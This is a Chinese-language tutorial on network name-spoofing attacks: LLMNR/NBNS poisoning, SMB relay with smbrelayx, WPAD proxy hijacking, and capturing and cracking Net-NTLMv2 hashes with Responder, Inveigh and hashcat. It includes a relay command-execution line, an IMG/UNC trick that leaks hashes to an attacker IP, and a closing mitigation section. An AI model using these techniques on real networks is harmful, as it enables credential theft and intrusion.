名称欺骗中间人攻击
名称欺骗中间人攻击
LLMNR
Link-Local Multicast Name Resolution (LLMNR)
链路本地多播名称解析
当我们执行ping WEBTST01
将会发送LLMNR请求解析WEBTST01。所有的LLMNR包将会发送到组播地址224.0.0.252 MAC:01:00:5E:00:00:FC
,响应主机将单播回应查询。
LLMNR packet header structure
- ID - A 16-bit identifier assigned by the program that generates any kind of query.
- QR - Query/Response.
- OPCODE - A 4-bit field that specifies the kind of query in this message. This value is set by the originator of a query and copied * into the response. This specification defines the behavior of standard queries and responses (opcode value of zero). Future specifications may define the use of other opcodes with LLMNR.
- C - Conflict.
- TC - TrunCation.
- T - Tentative.
- Z - Reserved for future use.
- RCODE - Response code.
- QDCOUNT - An unsigned 16-bit integer specifying the number of entries in the question section.
- ANCOUNT - An unsigned 16-bit integer specifying the number of resource records in the answer section.
- NSCOUNT - An unsigned 16-bit integer specifying the number of name server resource records in the authority records section.
- ARCOUNT - An unsigned 16-bit integer specifying the number of resource records in the additional records section.
LLMNR Poison
基于名字解析的ip欺骗
Python模拟LLMNR响应Demo
Network Basic Input/Output System (NetBIOS)
NetBIOS is an API providing various networking services.
NetBIOS provides three distinct services:
- Name service for name registration and resolution (ports: 137/udp and 137/tcp)
- Datagram distribution service for connectionless communication (port: 138/udp)
- Session service for connection-oriented communication (port: 139/tcp)
NBNS
NetBIOS名字服务,将NetBIOS名称解析为相应IP地址。很多时候是启用TCP/IP上的NetBIOS。
当我们PING hostname或者socket.gethostbyname(‘hostname’)时,依次会在本地缓存查找,LMHOSTS,WINS服务器,广播“名称查询”数据包。
Nbtstat
我们可以通过nbtstat命令来查看本地NetBIOS名称缓存。
|
|
SMBRelay
SMB2
Server Message Block (SMB)服务器消息块协议,主要用于在计算机间共享文件、打印机、串口等。SMB2运行在TCP 139和445端口。
使用NTLMv2身份认证
- 协商
- 挑战
- 认证
|
|
Note
Windows Server 2008 R2 需关闭“对通信进行数字签名”,否则smbrelayx.py将报错 SMB SessionError: STATUS_ACCESS_DENIED({Access Denied}…,我们也可以通过NETLOGON (CVE-2015-0005)获取SMB session key。
注册表禁用签名
HKLM\System\CurrentControlSet\Services\LanManServer\Parameters
RequireSecuritySignature REG_DWORD: 0 = Disabled
利用工具:
Impacket
https://github.com/CoreSecurity/impacket
Attack转发SMB请求到Server并执行命令calc.exe
python smbrelayx.py -h 192.168.6.4 -c "calc.exe"
Client以一个有效的账户登录(通常是域管),命令行执行:
dir \\192.168.6.12\c$
SMB签名
你需要一个有效的机器账户名和NTLM hashes,通过-domain参数指定DC。
Usage:
BadTunnel
跨网段响应名称查询
WPAD
WPAD(Web Proxy Auto Discovery)让浏览器通过DHCP和DNS的查询来搜索PAC文件的位置。
当IE Internet Options连接中配置为自动检测设置时,IE会根据以下方式来查找WPAD.dat文件
- DHCP(252 option)
- DNS A record query
- NetBios
- LLMNR
在DNS中创建WPAD (无法解析?)
https://technet.microsoft.com/en-us/library/cc995062.aspx
Proxy auto-config
代理自动配置(PAC)文件定义了应用如何自动选择合适的代理服务器来访问给定的URL,习惯命名proxy.pac,WPAD标准使用wpad.dat。
A simple example of a PAC file:
如何攻击?
客户端首先查询WPAD名称IP,然后下载wpad.dat文件配置浏览器代理。
WPAD服务器
http://192.168.6.12/wpad.dat
|
|
MSF NBNS响应攻击
当IE访问链接时,通过NBNS查询WPAD,攻击机将响应IP指向192.168.6.12。IE将自动下载wpad.dat文件并将地址缓存到注册表[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]项,此时IE的流量将通过我们的代理服务器。
抓取HASH
Net-NTLM hashes 被用来作为网络认证,不同于NTLM hashes,不能用来执行 Pass-The-Hash 攻击,Net-NTLMv2 hash格式如下。
|
|
启动smb服务
Note
auxiliary/server/capture/http_ntlm 通过http方式访问将弹出Windows安全认证窗口
IMG标签<img src="\\192.168.6.12\1.jpg" />
test.scf放入共享目录
当用户打开嵌入IMG标签的网页或者访问含有test.scf文件的共享目录时将自动向192.168.6.12请求认证。
Crack hash
- 字典破解(不推荐)
hashcat64 -m 5600 -D 1 –show john_hashes_netntlmv2 example.dict - 彩虹表
自动化攻击工具
Inveigh
Inveigh is a PowerShell LLMNR/mDNS/NBNS spoofer and man-in-the-middle tool
https://github.com/Kevin-Robertson/InveighResponder
LLMNR/NBT-NS/mDNS Poisoner
https://github.com/SpiderLabs/Responder
Responder
|
|
Responder启动将开启WPAD,SMB,WEB PROXY等服务,并响应所有名字解析到Responder服务器IP。受害者通过Responder代理服务器访问网页将被注入HTML代码 (-b参数),并弹出认证钓鱼页面。当开启Serve-Exe = On参数时将替换客户端下载的所有exe为ExeFilename指定的程序。
由于会自动响应域名名称,导致显示太多信息,我们修改NBTNS.py将其忽略。
|
|
防范
- 禁用LLMNR
reg add “HKLM\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient” /v EnableMulticast /t REG_DWORD /d 0 /f
reg add “HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows NT\DNSClient” /v EnableMulticast /t REG_DWORD /d 0 /f - 禁用NetBIOS
- 启用SMB签名